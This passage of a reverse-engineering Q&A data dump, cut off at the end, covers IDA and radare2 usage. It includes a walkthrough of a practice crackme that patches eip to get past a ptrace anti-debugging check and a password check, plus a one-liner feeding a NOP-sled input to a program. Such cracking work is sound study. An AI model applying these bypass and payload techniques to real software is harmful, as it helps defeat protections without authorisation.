  <row Id="20535" PostTypeId="2" ParentId="19767" CreationDate="2019-02-02T21:39:53.480" Score="2" Body="&lt;p&gt;As a generic, incomplete answer: switch analysis is a common source of failure in using Hex-Rays (and even IDA). You can fix these errors by manually editing the switch information using &lt;code&gt;Edit-&amp;gt;Other-&amp;gt;Specify switch idiom&lt;/code&gt; with your cursor somewhere near the beginning. However, I can't give you complete instructions on how to do this. My best advice is to search the disassembly listing for the word 'switch' using &lt;code&gt;Alt-T&lt;/code&gt;, and use the edit command just mentioned to view the switch information. For each one, copy the information into a text editor, and compare it against the disassembly listing. This will start to give you an idea of what the fields mean. From there, experiment with the failing switch. Does something you learned from the process I just describe seem not to fit well with the information presented for the failing switch? Change it and see what happens.&lt;/p&gt;&#xA;" OwnerUserId="182" LastActivityDate="2019-02-02T21:39:53.480" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20536" PostTypeId="2" ParentId="20520" CreationDate="2019-02-02T22:08:51.993" Score="1" Body="&lt;p&gt;If IDA has erroneously marked functions as &quot;noreturn&quot;, you can manually edit this with &lt;code&gt;Alt-P&lt;/code&gt;. &quot;Does not return&quot; is a checkmark that you can select. Once you've removed this attribute, IDA should properly disassemble the code following the function call -- though you may need to delete functions (as the comment said) if IDA is using obsolete information about the function boundaries.&lt;/p&gt;&#xA;" OwnerUserId="182" LastActivityDate="2019-02-02T22:08:51.993" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="20540" PostTypeId="1" AcceptedAnswerId="20541" CreationDate="2019-02-03T13:22:11.707" Score="3" ViewCount="10671" Body="&lt;p&gt;I am trying to solve this &lt;a href=&quot;https://www.root-me.org/en/Challenges/Cracking/ELF-Ptrace&quot; rel=&quot;nofollow noreferrer&quot;&gt;ELF - Ptrace challenge&lt;/a&gt;. I use &lt;code&gt;Radare 2&lt;/code&gt;. This is the commands I execute to print the assembly code.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;radare2 ch3.bin&#xA;[0x080482f0]&amp;gt; aaa&#xA;[[anal.jmptbl] Missing cjmp bb in predecessor at 0x08057fca&#xA;[anal.jmptbl] Missing cjmp bb in predecessor at 0x08057f4a&#xA;[anal.jmptbl] Missing cjmp bb in predecessor at 0x0808fc43&#xA;[anal.jmptbl] Missing cjmp bb in predecessor at 0x0808fc23&#xA;[anal.jmptbl] Missing cjmp bb in predecessor at 0x0808fc63&#xA;[anal.jmptbl] Missing cjmp bb in predecessor at 0x0808fc83&#xA;[x] Analyze all flags starting with sym. and entry0 (aa)&#xA;[x] Analyze function calls (aac)&#xA;[x] Analyze len bytes of instructions for references (aar)&#xA;[x] Constructing a function name for fcn.* and sym.func.* functions (aan)&#xA;[x] Type matching analysis for all functions (aaft)&#xA;[x] Use -AA or aaaa to perform additional experimental analysis.&#xA;&#xA;[0xf7f0b049]&amp;gt; pd 100 @ main&#xA;            ;-- main:&#xA;/ (fcn) sym.main 175&#xA;|   int sym.main (int argc, char **argv, char **envp);&#xA;|           ; var char *s @ ebp-0x16&#xA;|           ; var int var_ch @ ebp-0xc&#xA;|           ; var int var_4h @ ebp-0x4&#xA;|           ; arg int arg_4h @ esp+0x4&#xA;|           ; DATA XREF from entry0 (0x8048307)&#xA;|           0x080483f0      8d4c2404       lea ecx, [arg_4h]           ; sym._nl_current_LC_MONETARY&#xA;|           0x080483f4      83e4f0         and esp, 0xfffffff0&#xA;|           0x080483f7      ff71fc         push dword [ecx - 4]&#xA;|           0x080483fa      55             push ebp&#xA;|           0x080483fb      89e5           mov ebp, esp&#xA;|           0x080483fd      51             push ecx&#xA;|           0x080483fe      83ec14         sub esp, 0x14&#xA;|           0x08048401      c745f488280c.  mov dword [var_ch], str.ksuiealohgy ; 0x80c2888 ; &quot;ksuiealohgy&quot;&#xA;|           0x08048408      6a00           push 0                      ; void*data&#xA;|           0x0804840a      6a01           push 1                      ; ecx ; void*addr&#xA;|           0x0804840c      6a00           push 0                      ; pid_t pid&#xA;|           0x0804840e      6a00           push 0                      ; __ptrace_request request&#xA;|           0x08048410      e85b060100     call sym.ptrace&#xA;|           0x08048415      83c410         add esp, 0x10&#xA;|           0x08048418      85c0           test eax, eax&#xA;|       ,=&amp;lt; 0x0804841a b    791a           jns 0x8048436&#xA;|       |   0x0804841c      83ec0c         sub esp, 0xc&#xA;|       |   0x0804841f      6894280c08     push str.Debugger_detect___..._Exit ; 0x80c2894 ; &quot;Debugger detect\u00e9 ... Exit&quot; ; const char *s&#xA;|       |   0x08048424      e8a70e0000     call sym.puts               ; int puts(const char *s)&#xA;|       |   0x08048429      83c410         add esp, 0x10&#xA;|       |   0x0804842c      b801000000     mov eax, 1&#xA;|      ,==&amp;lt; 0x08048431      e9c3000000     jmp loc.080484f9&#xA;|      ||   ; CODE XREF from sym.main (0x804841a)&#xA;|      |`-&amp;gt; 0x08048436      83ec0c         sub esp, 0xc&#xA;|      |    0x08048439      68b0280c08     push 0x80c28b0              ; const char *s&#xA;|      |    0x0804843e      e88d0e0000     call sym.puts               ; int puts(const char *s)&#xA;|      |    0x08048443      83c410         add esp, 0x10&#xA;|      |    0x08048446      83ec0c         sub esp, 0xc&#xA;|      |    0x08048449      68f0280c08     push str.Bienvennue_dans_ce_challenge_de_cracking ; 0x80c28f0 ; &quot;##        Bienvennue dans ce challenge de cracking        ##&quot; ; const char *s&#xA;|      |    0x0804844e      e87d0e0000     call sym.puts               ; int puts(const char *s)&#xA;|      |    0x08048453      83c410         add esp, 0x10&#xA;|      |    0x08048456      83ec0c         sub esp, 0xc&#xA;|      |    0x08048459      6830290c08     push 0x80c2930              ; const char *s&#xA;|      |    0x0804845e      e86d0e0000     call sym.puts               ; int puts(const char *s)&#xA;|      |    0x08048463      83c410         add esp, 0x10&#xA;|      |    0x08048466      b86e290c08     mov eax, str.Password_:     ; 0x80c296e ; &quot;Password : &quot;&#xA;|      |    0x0804846b      83ec0c         sub esp, 0xc&#xA;|      |    0x0804846e      50             push eax&#xA;|      |    0x0804846f      e8ec0a0000     call sym.__printf&#xA;|      |    0x08048474      83c410         add esp, 0x10&#xA;|      |    0x08048477      a19c540e08     mov eax, dword obj.stdin    ; obj._IO_stdin ; [0x80e549c:4]=0x80e5080 obj._IO_2_1_stdin&#xA;|      |    0x0804847c      83ec04         sub esp, 4&#xA;|      |    0x0804847f      50             push eax                    ; FILE *stream&#xA;|      |    0x08048480      6a09           push 9                      ; 9 ; int size&#xA;|      |    0x08048482      8d45ea         lea eax, [s]&#xA;|      |    0x08048485      50             push eax                    ; char *s&#xA;|      |    0x08048486      e8050b0000     call sym.fgets              ; char *fgets(char *s, int size, FILE *stream)&#xA;|      |    0x0804848b      83c410         add esp, 0x10&#xA;|      |    0x0804848e      8d0597840408   lea eax, loc._notng         ; 0x8048497&#xA;|      |    0x08048494      40             inc eax&#xA;\      |    0x08048495      ffe0           jmp eax&#xA;       |    ;-- _notng:&#xA;       |    ; DATA XREF from sym.main (0x804848e)&#xA;       |    0x08048497      b88a55ea8b     mov eax, 0x8bea558a&#xA;       |    0x0804849c      45             inc ebp&#xA;       |    0x0804849d      f4             hlt&#xA;       |    0x0804849e      83c004         add eax, 4&#xA;       |    0x080484a1      8a00           mov al, byte [eax]&#xA;       |    0x080484a3      38c2           cmp dl, al&#xA;       |,=&amp;lt; 0x080484a5 b    753d           jne 0x80484e4&#xA;       ||   0x080484a7      8a55eb         mov dl, byte [ebp - 0x15]&#xA;       ||   0x080484aa      8b45f4         mov eax, dword [ebp - 0xc]&#xA;       ||   0x080484ad      83c005         add eax, 5&#xA;       ||   0x080484b0      8a00           mov al, byte [eax]&#xA;       ||   0x080484b2      38c2           cmp dl, al&#xA;      ,===&amp;lt; 0x080484b4      752e           jne 0x80484e4&#xA;      |||   0x080484b6      8a55ec         mov dl, byte [ebp - 0x14]&#xA;      |||   0x080484b9      8b45f4         mov eax, dword [ebp - 0xc]&#xA;      |||   0x080484bc      40             inc eax&#xA;      |||   0x080484bd      8a00           mov al, byte [eax]&#xA;      |||   0x080484bf      38c2           cmp dl, al&#xA;     ,====&amp;lt; 0x080484c1 b    7521           jne 0x80484e4&#xA;     ||||   0x080484c3      8a55ed         mov dl, byte [ebp - 0x13]&#xA;     ||||   0x080484c6      8b45f4         mov eax, dword [ebp - 0xc]&#xA;     ||||   0x080484c9      83c00a         add eax, 0xa&#xA;     ||||   0x080484cc      8a00           mov al, byte [eax]&#xA;     ||||   0x080484ce      38c2           cmp dl, al&#xA;    ,=====&amp;lt; 0x080484d0 b    7512           jne 0x80484e4&#xA;    |||||   0x080484d2      83ec0c         sub esp, 0xc&#xA;    |||||   0x080484d5      687a290c08     push str.Good_password      ; 0x80c297a ; &quot;\nGood password !!!\n&quot;&#xA;    |||||   0x080484da      e8f10d0000     call sym.puts               ; int puts(const char *s)&#xA;    |||||   0x080484df      83c410         add esp, 0x10&#xA;   ,======&amp;lt; 0x080484e2      eb10           jmp 0x80484f4&#xA;   ||||||   ; CODE XREFS from loc._notng (+0xe, +0x1d, +0x2a, +0x39)&#xA;   |```-`-&amp;gt; 0x080484e4 b    83ec0c         sub esp, 0xc&#xA;   |   |    0x080484e7      688e290c08     push str.Wrong_password.    ; 0x80c298e ; &quot;\nWrong password.\n&quot;&#xA;   |   |    0x080484ec      e8df0d0000     call sym.puts               ; int puts(const char *s)&#xA;   |   |    0x080484f1      83c410         add esp, 0x10&#xA;   |   |    ; CODE XREF from loc._notng (+0x4b)&#xA;   `------&amp;gt; 0x080484f4      b800000000     mov eax, 0&#xA;|- loc.080484f9 8&#xA;|   loc.080484f9 ();&#xA;|      |    ; var int var_4h @ ebp-0x4&#xA;|      |    ; CODE XREF from sym.main (0x8048431)&#xA;|      `--&amp;gt; 0x080484f9      8b4dfc         mov ecx, dword [var_4h]&#xA;|           0x080484fc      c9             leave&#xA;|           0x080484fd      8d61fc         lea esp, [ecx - 4]&#xA;\           0x08048500      c3             ret&#xA;            0x08048501      90             nop&#xA;            0x08048502      90             nop&#xA;            0x08048503      90             nop&#xA;            0x08048504      90             nop&#xA;            0x08048505      90             nop&#xA;            0x08048506      90             nop&#xA;            0x08048507      90             nop&#xA;            0x08048508      90             nop&#xA;            0x08048509      90             nop&#xA;            0x0804850a      90             nop&#xA;            0x0804850b      90             nop&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I can see that there is an anti-debugging technic at instruction &lt;code&gt;0x0804841a&lt;/code&gt;, I can bypass it putting a break point and modifying eip adress on the fly.&#xA;I can also see that there is several tests before print &lt;em&gt;Good Password!!!&lt;/em&gt;&#xA;I put all the breakpoints I need :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x00000000]&amp;gt; ood&#xA;[0x080482f0]&amp;gt; db 0x0804841a&#xA;[0x080482f0]&amp;gt; db 0x080484a5&#xA;[0x080482f0]&amp;gt; db 0x80484e4&#xA;[0x080482f0]&amp;gt; db 0x080484c1&#xA;[0x080482f0]&amp;gt; db 0x080484d0&#xA;[0x080482f0]&amp;gt; dc&#xA;child stopped with signal 28&#xA;[+] SIGNAL 28 errno=0 addr=0x00000000 code=128 ret=0&#xA;[0x080482f0]&amp;gt; dc&#xA;hit breakpoint at: 804841a&#xA;[0x0804841a]&amp;gt; dr eip=0x08048436&#xA;0x0804841a -&amp;gt;0x08048436&#xA;[0x0804841a]&amp;gt; dc&#xA;############################################################&#xA;##        Bienvennue dans ce challenge de cracking        ##&#xA;############################################################&#xA;&#xA;Password : badpassword &#xA;hit breakpoint at: 80484a5&#xA;[0x080484a5]&amp;gt; dr eip=0x080484a7&#xA;0x080484a5 -&amp;gt;0x080484a7&#xA;[0x080484a5]&amp;gt; dc&#xA;hit breakpoint at: 80484e4&#xA;[0x080484a5]&amp;gt; dr eip=0x080484b6&#xA;0x080484e4 -&amp;gt;0x080484b6&#xA;[0x080484a5]&amp;gt; dc&#xA;hit breakpoint at: 80484c1&#xA;[0x080484a5]&amp;gt; dr eip=0x080484c3&#xA;0x080484c1 -&amp;gt;0x080484c3&#xA;[0x080484a5]&amp;gt; dc&#xA;hit breakpoint at: 80484d0&#xA;[0x080484a5]&amp;gt; ptr axt&#xA;[0x080484a5]&amp;gt; dr&#xA;eax = 0x080c2879&#xA;ebx = 0x00000000&#xA;ecx = 0xffffffff&#xA;edx = 0x080e6515&#xA;esi = 0x08048bc0&#xA;edi = 0x08048b20&#xA;esp = 0xffe51480&#xA;ebp = 0xffe51498&#xA;eip = 0x080484d0&#xA;eflags = 0x00000297&#xA;oeax = 0xffffffff&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, at this point (and for each conditinal previous tests), I would like to print the value of the stack or adresses to see exactly what is compared. My problem is I can't understant what values are compared in the first test for example :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   |    ; DATA XREF from sym.main (0x804848e)&#xA;   |    0x08048497      b88a55ea8b     mov eax, 0x8bea558a&#xA;   |    0x0804849c      45             inc ebp&#xA;   |    0x0804849d      f4             hlt&#xA;   |    0x0804849e      83c004         add eax, 4&#xA;   |    0x080484a1      8a00           mov al, byte [eax]&#xA;   |    0x080484a3      38c2           cmp dl, al&#xA;   |,=&amp;lt; 0x080484a5      753d           jne 0x80484e4&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I think I use a bad way to solve this challenge because I modify each eip to print finally &lt;em&gt;Good Password!!!&lt;/em&gt;, I can't see the password on the stack or something else. I use the command &lt;code&gt;pxr @ esp&lt;/code&gt;.&#xA;What is the content of &lt;code&gt;al&lt;/code&gt; and &lt;code&gt;dl&lt;/code&gt; ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also tried to generate the source code with &lt;code&gt;Snowman&lt;/code&gt; but it doesn't help me :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;void fun_804849e(void** ecx) {&#xA;    signed char dl2;&#xA;    struct s2421* eax3;&#xA;    int32_t ebp4;&#xA;    int32_t ebp5;&#xA;    int32_t ebp6;&#xA;    int32_t ebp7;&#xA;    int32_t ebp8;&#xA;    int32_t ebp9;&#xA;    int32_t v10;&#xA;    int32_t v11;&#xA;    int32_t v12;&#xA;    int32_t v13;&#xA;    int32_t v14;&#xA;    int32_t v15;&#xA;&#xA;    if (dl2 != eax3-&amp;gt;f4 || (*reinterpret_cast&amp;lt;signed char*&amp;gt;(ebp4 - 21) != (*reinterpret_cast&amp;lt;struct s2422**&amp;gt;(ebp5 - 12))-&amp;gt;f5 || (*reinterpret_cast&amp;lt;signed char*&amp;gt;(ebp6 - 20) != (*reinterpret_cast&amp;lt;struct s2423**&amp;gt;(ebp7 - 12))-&amp;gt;f1 || *reinterpret_cast&amp;lt;signed char*&amp;gt;(ebp8 - 19) != (*reinterpret_cast&amp;lt;struct s2424**&amp;gt;(ebp9 - 12))-&amp;gt;f10))) {&#xA;        _IO_puts(ecx, &quot;\nWrong password.\n&quot;, v10, v11, v12, __return_address());&#xA;    } else {&#xA;        _IO_puts(ecx, &quot;\nGood password !!!\n&quot;, v13, v14, v15, __return_address());&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="26974" LastEditorUserId="26974" LastEditDate="2019-02-03T13:27:15.043" LastActivityDate="2021-12-10T21:32:16.360" Title="How to print the value of register with Radare 2" Tags="|binary-analysis|radare2|breakpoint|stack|crackme|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20541" PostTypeId="2" ParentId="20540" CreationDate="2019-02-03T14:03:21.160" Score="11" Body="&lt;p&gt;Printing the registry values in radare2 is quite simple.&lt;/p&gt;&#xA;&lt;h2&gt;All registers&lt;/h2&gt;&#xA;&lt;p&gt;You can print all the General Purpose registers using &lt;code&gt;dr&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;[0x55bea3305070]&amp;gt; dr&#xA;rax = 0x55bea3305070&#xA;rbx = 0x00000000&#xA;rcx = 0x7fd7ee4f7578&#xA;rdx = 0x7ffd63b54428&#xA;r8 = 0x7fd7ee4f8be0&#xA;r9 = 0x7fd7ee4f8be0&#xA;r10 = 0x00000001&#xA;r11 = 0x00000000&#xA;r12 = 0x55bea3306ae0&#xA;r13 = 0x7ffd63b54410&#xA;r14 = 0x00000000&#xA;r15 = 0x00000000&#xA;rsi = 0x7ffd63b54418&#xA;rdi = 0x00000001&#xA;rsp = 0x7ffd63b54338&#xA;rbp = 0x55bea33176f0&#xA;rip = 0x55bea3305070&#xA;rflags = 0x00000246&#xA;orax = 0xffffffffffffffff&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;h2&gt;Telescoping&lt;/h2&gt;&#xA;&lt;p&gt;You can get even more information using &lt;code&gt;drr&lt;/code&gt; which will also perform telescoping for the registers:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;[0x55bea3305070]&amp;gt; drr&#xA;   rax 0x55bea3305070      (.text) (/usr/bin/ls) rip program R X 'push r15' 'ls'&#xA;   rbx 0x0                 r15&#xA;   rcx 0x7fd7ee4f7578      (/usr/lib/libc-2.28.so) rcx library R W 0x7fd7ee4f8be0 --&amp;gt;  (/usr/lib/libc-2.28.so) r9 library R W 0x0 --&amp;gt;  r15&#xA;   rdx 0x7ffd63b54428      rdx stack R W 0x7ffd63b54b6d --&amp;gt;  stack R W 0x622f3d4c4c454853 (SHELL=/bin/bash) --&amp;gt;  ascii&#xA;    r8 0x7fd7ee4f8be0      (/usr/lib/libc-2.28.so) r9 library R W 0x0 --&amp;gt;  r15&#xA;    r9 0x7fd7ee4f8be0      (/usr/lib/libc-2.28.so) r9 library R W 0x0 --&amp;gt;  r15&#xA;   r10 0x1                 rdi&#xA;   r11 0x0                 r15&#xA;   r12 0x55bea3306ae0      (.text) (/usr/bin/ls) r12 program R X 'endbr64' 'ls'&#xA;   r13 0x7ffd63b54410      r13 stack R W 0x1 --&amp;gt;  rdi&#xA;   r14 0x0                 r15&#xA;   r15 0x0                 r15&#xA;   rsi 0x7ffd63b54418      rsi stack R W 0x7ffd63b54b65 --&amp;gt;  stack R W 0x736c2f6e69622f (/bin/ls) --&amp;gt;  ascii&#xA;   rdi 0x1                 rdi&#xA;   rsp 0x7ffd63b54338      rsp stack R W 0x7fd7ee35d223 --&amp;gt;  (/usr/lib/libc-2.28.so) library R X 'mov edi, eax' 'libc-2.28.so'&#xA;   rbp 0x55bea33176f0      (.text) (/usr/bin/ls) rbp program R X 'endbr64' 'ls'&#xA;   rip 0x55bea3305070      (.text) (/usr/bin/ls) rip program R X 'push r15' 'ls'&#xA;    cs 0x33                ascii&#xA;rflags 1PZI                rflags&#xA;  orax 0xffffffffffffffff  orax&#xA;    ss 0x2b                ascii&#xA;fs_base 0x7fd7ee336740      (unk1) R W 0x7fd7ee336740&#xA;gs_base 0x0                 r15&#xA;    ds 0x0                 r15&#xA;    es 0x0                 r15&#xA;    fs 0x0                 r15&#xA;    gs 0x0                 r15&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;h2&gt;A specific register&lt;/h2&gt;&#xA;&lt;p&gt;You can print a specific register using &lt;code&gt;dr &amp;lt;reg&amp;gt;&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;[0x55bea3305070]&amp;gt; dr rax&#xA;0x55bea3305070&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The registers &lt;code&gt;al&lt;/code&gt; and &lt;code&gt;dl&lt;/code&gt; are simply the lower 8 bits of the registers EAX and EDX respectively.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;[0x55bea3305070]&amp;gt; dr rax&#xA;0x55bea3305070&#xA;[0x55bea3305070]&amp;gt; dr eax&#xA;0xa3305070&#xA;[0x55bea3305070]&amp;gt; dr al&#xA;0x00000070&#xA;&#xA;&#xA;&#xA;[0x55bea3305070]&amp;gt; dr rdx&#xA;0x7ffd63b54428&#xA;[0x55bea3305070]&amp;gt; dr edx&#xA;0x63b54428&#xA;[0x55bea3305070]&amp;gt; dr dl&#xA;0x00000028&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;h2&gt;Further reading&lt;/h2&gt;&#xA;&lt;p&gt;I recommend reading the &lt;a href=&quot;https://book.rada.re/&quot; rel=&quot;noreferrer&quot;&gt;radare2book&lt;/a&gt;, and more specifically, the &lt;a href=&quot;https://book.rada.re/debugger/registers.html&quot; rel=&quot;noreferrer&quot;&gt;chapter about Registers&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="18698" LastEditorUserId="39592" LastEditDate="2021-12-10T21:32:16.360" LastActivityDate="2021-12-10T21:32:16.360" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20542" PostTypeId="2" ParentId="18552" CreationDate="2019-02-03T18:30:40.197" Score="10" Body="&lt;p&gt;You do not have to use another file, it is just redundant&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can do this by using &quot;Here strings&quot;. &#xA;In your example you can do :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;r &amp;lt;&amp;lt;&amp;lt; $(python -c &quot;print '\x90'*52&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can read about &quot;Here strings&quot; &lt;a href=&quot;https://www.tldp.org/LDP/abs/html/x17837.html&quot; rel=&quot;noreferrer&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="27340" LastEditorUserId="27340" LastEditDate="2019-02-09T22:22:10.950" LastActivityDate="2019-02-09T22:22:10.950" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20544" PostTypeId="2" ParentId="20534" CreationDate="2019-02-03T22:23:46.533" Score="2" Body="&lt;p&gt;I had some trouble really understanding your question so I'll try to answer this question as best as I can.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you use &lt;code&gt;pdf&lt;/code&gt; you instruct radare2 to print the disassembly of the whole function. Where each function begins and ends is identified when analysis is done (&lt;code&gt;aaa&lt;/code&gt;). So if you don't have functions identified &lt;code&gt;pdf&lt;/code&gt; won't work. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You run your analysis so you could run &lt;code&gt;pdf @ main&lt;/code&gt;, but where function ends in this case was wrongly identified. If you check the last instructions of this function this is what you get:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x0804848e      8d0597840408   lea eax, loc._notng         ;0x8048497&#xA;0x08048494      40             inc eax&#xA;0x08048495      ffe0           jmp eax  &#xA;;-- _notng:&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So it takes an address of _notng, adds one and jumps there and this what causes r2 to wrongly identify the end of the function. This is a simple trick that caused disassemblers to present invalid opcodes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see it both in IDA and r2. This code that you get later&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x08048497      b88a55ea8b     mov eax, 0x8bea558a&#xA;0x0804849c      45             inc ebp&#xA;0x0804849d      f4             hlt&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;is wrong and it's due to the fact that &lt;code&gt;jmp&lt;/code&gt; will land in the middle of this &lt;code&gt;mov&lt;/code&gt;. The first byte (&lt;code&gt;b8&lt;/code&gt;) is bogus and should not be treated as a code. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to fix this issue we can change the type of this byte. In radare you can use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt; Cd 1 1 @ 0x8048497&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and in IDA you press &lt;kbd&gt;d&lt;/kbd&gt; on the &lt;code&gt;mov&lt;/code&gt; opcode and later &lt;kbd&gt;c&lt;/kbd&gt; on the byte after &lt;code&gt;b8&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After this you will see correct opcodes:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x08048497      .byte 0xb8&#xA;0x08048498      8a55ea         mov dl, byte [ebp - 0x16]&#xA;0x0804849b      8b45f4         mov eax, dword [ebp - 0xc]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now you could resize the main function for the following basic block by doing &lt;code&gt;afb+&lt;/code&gt;, but for some reason &lt;code&gt;pdf&lt;/code&gt; still doesn't print correctly the function. Need to check if that's not a bug.&lt;/p&gt;&#xA;" OwnerUserId="18014" LastActivityDate="2019-02-03T22:23:46.533" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20545" PostTypeId="1" AcceptedAnswerId="20546" CreationDate="2019-02-04T02:47:27.660" Score="1" ViewCount="1631" Body="&lt;p&gt;I am on the hook to analysis some &quot;timing channels&quot; of some x86 binary code. I am posting one question to comprehend &lt;code&gt;bsf/bsr&lt;/code&gt; opcode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So high-levelly, these two opcodes can be modeled as a &quot;loop&quot;, which counts the leading and trailing zeros of a given operand. The &lt;code&gt;x86&lt;/code&gt; manual has a good formalization of these opcodes, something like the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;IF SRC = 0&#xA;  THEN&#xA;    ZF ← 1;&#xA;    DEST is undefined;&#xA;  ELSE&#xA;    ZF ← 0;&#xA;    temp ← OperandSize – 1;&#xA;    WHILE Bit(SRC, temp) = 0&#xA;    DO&#xA;      temp ← temp - 1;&#xA;    OD;&#xA;    DEST ← temp;&#xA;FI;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But to my suprise, &lt;code&gt;bsf/bsr&lt;/code&gt; instructions seem to have &lt;strong&gt;fixed cpu cycles&lt;/strong&gt;. According to some documents I found here: &lt;a href=&quot;https://gmplib.org/~tege/x86-timing.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://gmplib.org/~tege/x86-timing.pdf&lt;/a&gt;, seems that they always take 8 CPU cycles to finish. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So here are my questions:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;I am confirming that these instructions have fixed cpu cycles. In other words, no matter what operand is given, they always take the same amount of time to process, and there is no &quot;timing channel&quot; behind. I cannot find corresponding specifications in Intel's official documents.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Then why it is possible? Apparently this is a &quot;loop&quot; or somewhat, at least high-levelly. What is the design decision behind? Easier for CPU pipelines?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="3215" LastActivityDate="2019-02-04T06:13:07.977" Title="Understand the CPU cycles of x86 instruction bsr/bsf" Tags="|assembly|x86|intel|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20546" PostTypeId="2" ParentId="20545" CreationDate="2019-02-04T06:13:07.977" Score="3" Body="&lt;p&gt;I've found a &lt;a href=&quot;https://web.itu.edu.tr/kesgin/mul06/intel/instr/bsf.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;site&lt;/a&gt; which seems to indicate this was implemented as a loop when the instructions were introduced:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;BSF scans forward across bit pattern (0-n) while BSR scans in reverse (n-0).&#xA;&#xA;                             Clocks                 Size&#xA;    Operands         808x  286   386   486          Bytes&#xA;&#xA;    reg,reg           -     -   10+3n  6-42           3&#xA;    reg,mem           -     -   10+3n  7-43          3-7&#xA;    reg32,reg32       -     -   10+3n  6-42          3-7&#xA;    reg32,mem32       -     -   10+3n  7-43          3-7&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thankfully, they seem to optimized it starting with 486 (1989). As you already noticed, they seem to have improved the run time even further. Indeed, the current &lt;a href=&quot;https://www.intel.com/content/dam/www/public/us/en/documents/manuals/64-ia-32-architectures-optimization-manual.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;Intel Optimization Manual&lt;/a&gt; lists it with pretty low fixed clock cycles (3+1).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a much more in detail answer on &lt;a href=&quot;https://stackoverflow.com/questions/54509623/how-can-x86-bsr-bsf-have-fixed-latency-not-data-dependent-doesnt-it-loop-over&quot;&gt;stackexchange&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3162" LastActivityDate="2019-02-04T06:13:07.977" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="20547" PostTypeId="2" ParentId="20278" CreationDate="2019-02-04T11:58:43.210" Score="0" Body="&lt;p&gt;Data structures (&lt;code&gt;struct&lt;/code&gt;s, &lt;code&gt;union&lt;/code&gt;s, &lt;code&gt;class&lt;/code&gt;es, etc) are higher level elements that completely disappear after the compilation step takes place. Meaning that the concepts themselves are completely invisible in the binary. Of course, certain code patterns may still suggest or imply that a data structure was present in the code, there are no assembly equivalent (nor one is needed) to the &lt;code&gt;struct&lt;/code&gt;, &lt;code&gt;union&lt;/code&gt; or &lt;code&gt;class&lt;/code&gt; keywords.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After providing the above context, I'll address the specific questions and statements you've made throughout the question:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I believe that &lt;code&gt;ebp + offset&lt;/code&gt; are local variables?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You accurately understand that 